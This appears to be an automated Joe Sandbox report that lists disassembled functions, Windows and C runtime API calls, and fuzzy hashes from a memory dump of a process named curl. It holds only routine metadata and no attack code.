Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: CompareString
String ID:
API String ID: 1825529933-0
Opcode ID: 0fbd7c55917df113a7a72d9dc7837ebeb50fdbd9accce9e2c03cb088415ab0db
Instruction ID: 79da6496fe9ef914797569b1103b312f0bffeee93cde7d097a8067e7cce4d765
Opcode Fuzzy Hash: 0fbd7c55917df113a7a72d9dc7837ebeb50fdbd9accce9e2c03cb088415ab0db
Instruction Fuzzy Hash: B7F06C7201010DBF9F069FD4ED4ACAA3B6AFB08250B008114FA2855021D772A972AB60

Function 009689D0 Relevance: 3.0, APIs: 2, Instructions: 23networkCOMMON

Download Yara Rule

APIs

socket.WS2_32(00000017,00000002,00000000), ref: 009689E1
closesocket.WS2_32(00000000), ref: 00968A07

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: closesocketsocket
String ID:
API String ID: 2760038618-0
Opcode ID: 35809919efaa4991cad1bf323809421727edb64a0b7c955447638deb9ecbf3a9
Instruction ID: ad8257f865947dd5d40c3f2022e820592f0adb36f9deca669022c367ce3ab422
Opcode Fuzzy Hash: 35809919efaa4991cad1bf323809421727edb64a0b7c955447638deb9ecbf3a9
Instruction Fuzzy Hash: 40E01AB02116018BEB1CCBB8AD25B6A3655AB04768F10C318B52BD61F0CB70C8429E21

Function 00A371B4 Relevance: 3.0, APIs: 2, Instructions: 16COMMONLIBRARYCODE

Download Yara Rule

APIs

GetUserDefaultLCID.KERNEL32(00000055,?,?,00A3605E,?,00000055,0000009C), ref: 00A371CE
___crtDownlevelLCIDToLocaleName.LIBCMT ref: 00A371D5

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: DefaultDownlevelLocaleNameUser___crt
String ID:
API String ID: 395733334-0
Opcode ID: 7af84b3ca85e1c2bd398d1a4028ec285abf8dedf1687231587debdcb2f704c4e
Instruction ID: 955d6a969ea38b434f6ef65369ed5ca55272de3a72e39612a385c25e612e5b96
Opcode Fuzzy Hash: 7af84b3ca85e1c2bd398d1a4028ec285abf8dedf1687231587debdcb2f704c4e
Instruction Fuzzy Hash: 7FD0C9B340460CBBCB11EBF4FD09C6A37ADAB48314F404510F51D8A531EAB2A5A18B62

Function 00A2412C Relevance: 3.0, APIs: 2, Instructions: 7COMMONLIBRARYCODE

Download Yara Rule

APIs

___crtCorExitProcess.LIBCMT ref: 00A24132

Part of subcall function 00A240F8: GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,?,?,?,00A24137,?,?,00A1FDBD,000000FF,0000001E,00000000,00000000,00000000,?,00A2913C), ref: 00A24107
Part of subcall function 00A240F8: GetProcAddress.KERNEL32(?,CorExitProcess), ref: 00A24119

ExitProcess.KERNEL32 ref: 00A2413B

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: ExitProcess$AddressHandleModuleProc___crt
String ID:
API String ID: 2427264223-0
Opcode ID: 82566c98586a6ddf6fddf43a1939d502cfd37aeebd843f0712c2036418dfce44
Instruction ID: d5917f3882a1fb89c8faf943e075173361cec25c7adee298fb390f9a2a59c26f
Opcode Fuzzy Hash: 82566c98586a6ddf6fddf43a1939d502cfd37aeebd843f0712c2036418dfce44
Instruction Fuzzy Hash: 96B0923100420CBBCB056F59ED0A8883F29EB01690F514031F90908031DF72A9A29A84

Function 00A1FC7D Relevance: 1.5, APIs: 1, Instructions: 36COMMON

Download Yara Rule

APIs

__lock_file.LIBCMT ref: 00A1FCC0

Part of subcall function 00A1E62A: __getptd_noexit.LIBCMT ref: 00A1E62A

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: __getptd_noexit__lock_file
String ID:
API String ID: 2597487223-0
Opcode ID: 3f6e367c92e60319c4f1127ae946206edd03a504db7955bbaedb6cef45023c39
Instruction ID: c208fe78cd93c692009fa97e351d1bf07b9c5b795427132c9989d8d8f18b7daa
Opcode Fuzzy Hash: 3f6e367c92e60319c4f1127ae946206edd03a504db7955bbaedb6cef45023c39
Instruction Fuzzy Hash: E8F0C232904299EFDF11AF79CE067DE76A0BF00365F148434FC149A191D7B88A91EB91

Function 0092BC00 Relevance: 1.5, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0092BC3E

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 69fa2f6ef5d9fed0e701b9a3b05a33cbf8e4c3474a2e446a7d26861ee35fefe4
Instruction ID: 35842beba30ae904d661d3b8844d2362ccd34f5e89bd19250bee8e57f13f4e1f
Opcode Fuzzy Hash: 69fa2f6ef5d9fed0e701b9a3b05a33cbf8e4c3474a2e446a7d26861ee35fefe4
Instruction Fuzzy Hash: 1AF030766012205BDB65AF58E8D276AB3E9AFC0B21F54005CDC065B34ACB74AC859AD2

Function 0092BC60 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0092BC6B

Part of subcall function 0092BAB0: _malloc.LIBCMT ref: 0092BACA

Part of subcall function 0092B612: _setlocale.LIBCMT ref: 0092B63A

Part of subcall function 0092BC00: _free.LIBCMT ref: 0092BC3E

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: _free_malloc_memset_setlocale
String ID:
API String ID: 3082362378-0
Opcode ID: d9b0bd9a8fc1ea2cfc73f6129bdc5b4c23c6ef0b1015af2ad1ed7d4678d30a36
Instruction ID: 050dad81ed6a276dae93bdd1670dac6214680557d6c6d425dd665caa4c7db968
Opcode Fuzzy Hash: d9b0bd9a8fc1ea2cfc73f6129bdc5b4c23c6ef0b1015af2ad1ed7d4678d30a36
Instruction Fuzzy Hash: 0BE0DF7190422497D620FA28FC52B9BB7E4EFA0740F400828FDC4C3296FB21AA08C7C3

Function 00A2357F Relevance: 1.5, APIs: 1, Instructions: 19COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00A25CBA: __getptd_noexit.LIBCMT ref: 00A25CBB

Part of subcall function 00A235C0: __getptd_noexit.LIBCMT ref: 00A235C4
Part of subcall function 00A235C0: __freeptd.LIBCMT ref: 00A235DE
Part of subcall function 00A235C0: ExitThread.KERNEL32 ref: 00A235E7

__XcptFilter.LIBCMT ref: 00A235AC

Part of subcall function 00A2E917: __getptd_noexit.LIBCMT ref: 00A2E91B

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: __getptd_noexit$ExitFilterThreadXcpt__freeptd
String ID:
API String ID: 1337255599-0
Opcode ID: 49fc9e4726a92010972d317e351a3ed11a48ad1fe48c95dbd43999c39c47b691
Instruction ID: dce24d04ea789875d8a2b76828fc18cbdf5329006fa50e2dcb7dd4bb84eee391
Opcode Fuzzy Hash: 49fc9e4726a92010972d317e351a3ed11a48ad1fe48c95dbd43999c39c47b691
Instruction Fuzzy Hash: 04E012B5914610AFEB08FBB4EE06E2E7775EF05305F200499F1019B2B2DB759E409B20

Function 00A2EFE2 Relevance: 1.5, APIs: 1, Instructions: 10COMMONLIBRARYCODE

Download Yara Rule

APIs

__mbsnbicoll_l.LIBCMT ref: 00A2EFF0

Part of subcall function 00A2EFFA: _LocaleUpdate::_LocaleUpdate.LIBCMT ref: 00A2F008

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: Locale$UpdateUpdate::___mbsnbicoll_l
String ID:
API String ID: 2453031258-0
Opcode ID: 7aa35db8dd6b2451f22efb2dfe0213a6e0bcb2196d57f0ac4df0aa9f0024168d
Instruction ID: adb17a1e2332d15110ad99da8102131903695d0af5d5a91dfa461faabd1b1fa5
Opcode Fuzzy Hash: 7aa35db8dd6b2451f22efb2dfe0213a6e0bcb2196d57f0ac4df0aa9f0024168d
Instruction Fuzzy Hash: 50C04C3244021D77DF016F85DD02B593B1AAB04650F448450FA1C091A1D67395705685

Function 00A243E5 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

_doexit.LIBCMT ref: 00A243EF

Part of subcall function 00A242B6: __lock.LIBCMT ref: 00A242C4
Part of subcall function 00A242B6: DecodePointer.KERNEL32(00A67C20,0000001C,00A2420F,?,00000001,00000000,?,00A2415D,000000FF,?,00A28F82,00000011,?,?,00A25BE8,0000000D), ref: 00A24303
Part of subcall function 00A242B6: DecodePointer.KERNEL32(?,00A2415D,000000FF,?,00A28F82,00000011,?,?,00A25BE8,0000000D), ref: 00A24314
Part of subcall function 00A242B6: EncodePointer.KERNEL32(00000000,?,00A2415D,000000FF,?,00A28F82,00000011,?,?,00A25BE8,0000000D), ref: 00A2432D
Part of subcall function 00A242B6: DecodePointer.KERNEL32(-00000004,?,00A2415D,000000FF,?,00A28F82,00000011,?,?,00A25BE8,0000000D), ref: 00A2433D
Part of subcall function 00A242B6: EncodePointer.KERNEL32(00000000,?,00A2415D,000000FF,?,00A28F82,00000011,?,?,00A25BE8,0000000D), ref: 00A24343
Part of subcall function 00A242B6: DecodePointer.KERNEL32(?,00A2415D,000000FF,?,00A28F82,00000011,?,?,00A25BE8,0000000D), ref: 00A24359
Part of subcall function 00A242B6: DecodePointer.KERNEL32(?,00A2415D,000000FF,?,00A28F82,00000011,?,?,00A25BE8,0000000D), ref: 00A24364
Part of subcall function 00A242B6: __initterm.LIBCMT ref: 00A2438C
Part of subcall function 00A242B6: __initterm.LIBCMT ref: 00A2439D

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: Pointer$Decode$Encode__initterm$__lock_doexit
String ID:
API String ID: 3712619029-0
Opcode ID: e664eab0a2f8ce3703c552baf369986a84cdf03d3e0bf670d1975cdb5f15a4fc
Instruction ID: 0b489b440a2c0ee6a0a50bbf6af50a6760f0c1250b123add09f7683ae5055552
Opcode Fuzzy Hash: e664eab0a2f8ce3703c552baf369986a84cdf03d3e0bf670d1975cdb5f15a4fc
Instruction Fuzzy Hash: 69B0123258030C73D9106546FC03F453B5D4740F50F100030FA0C1C1E1A593756042CB

Function 00A248CD Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

__wfsopen.LIBCMT ref: 00A248D8

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
